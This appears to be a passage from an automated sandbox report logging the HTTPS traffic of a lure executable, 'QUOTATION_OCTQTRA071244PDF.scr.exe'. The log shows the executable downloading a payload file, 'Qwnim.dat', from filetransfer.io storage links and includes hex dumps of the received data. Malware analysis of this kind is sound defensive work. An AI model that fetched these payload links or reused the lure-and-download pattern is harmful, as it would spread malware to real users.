2024-10-04 09:24:57 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50183	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:00 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:01 UTC	1066	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=trpaqgtp5lomp6lbfqabrhs9vg; expires=Fri, 18-Oct-2024 09:25:00 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/FdQTbjLkThhR cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rZY%2Bm%2BmIsHUG8SX84rSrveboQk1lJNfDzzn9W53qQEjzWJr1p2kGoaeOqoBykIv9hxeAGWwMWEbUdY6iQFvoemiX6OXMQ8YBTDiZYeaOG0u4cXfw8CY3VL9Ri%2FwLCrpHxHA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f456a344401-EWR
2024-10-04 09:25:01 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 46 64 51 54 62 6a 4c 6b 54 68 68 52 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/FdQTbjLkThhR">Please click here to continue</a>.</p>
2024-10-04 09:25:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50184	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:01 UTC	98	OUT	GET /storage/download/FdQTbjLkThhR HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:02 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:02 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=ea570904663c7a847d4fe7a3eecda583; expires=Fri, 18-Oct-2024 09:25:02 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=44n6VKLghwQ1Bo8uDlLKq9voR2KRX32wPUncXCZvfgomSH5RpNDs2HXuNSaGXCepmlpFxK1hVpLWsa1BVtQuZ4rmYWdqZAj5x6ET8M%2Fl%2FqVj9AXYBslV%2Fb%2Bu3l4eR8fvYK9MQW%2BO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41f4d6fe67c6a-EWR
2024-10-04 09:25:02 UTC	345	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da Data Ascii: K>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb Data Ascii: wH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 Data Ascii: Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a Data Ascii: Sv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 Data Ascii: BjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 Data Ascii: ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:25:02 UTC	1369	IN	Data Raw: 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd Data Ascii: Nc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50186	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:04 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:05 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=9ou5jvu1jq6eko87520e85q03f; expires=Fri, 18-Oct-2024 09:25:04 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/rNUQbvqXCkvY cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HLzDUx0SbBjmZiWdvdMwC14KRRXIVOpivBYJgaN8E4qzAZmiKVhe8rWzbIO7%2FbCcPlrsHD5q%2FzeZbfXOaCDVyFg9Vw4%2Fp5pW96%2FgLq9vQXQbaHpKYVFAiQPCmm41y6s0fhw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f5f68851889-EWR
2024-10-04 09:25:05 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 72 4e 55 51 62 76 71 58 43 6b 76 59 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/rNUQbvqXCkvY">Please click here to continue</a>.</p>
2024-10-04 09:25:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50187	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:05 UTC	74	OUT	GET /storage/download/rNUQbvqXCkvY HTTP/1.1 Host: s23.filetransfer.io
2024-10-04 09:25:06 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:06 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=88e9a01ce4dbdb2790a48ea77a0d3785; expires=Fri, 18-Oct-2024 09:25:06 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FA%2FZd8V%2Bwjbtx8TiNAMHNO6vFoKNhfeoE0shM7FYHAsj9ioixBGS4CtGYTOGaxnNdE0jQZ0iLoJWLSzXConXBpF%2F3I2iTs0MQv4%2Fyjvv7knAz1lY7st9Lo7qy6ad%2FwJ4pg8JhccQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41f678e2f7ce7-EWR
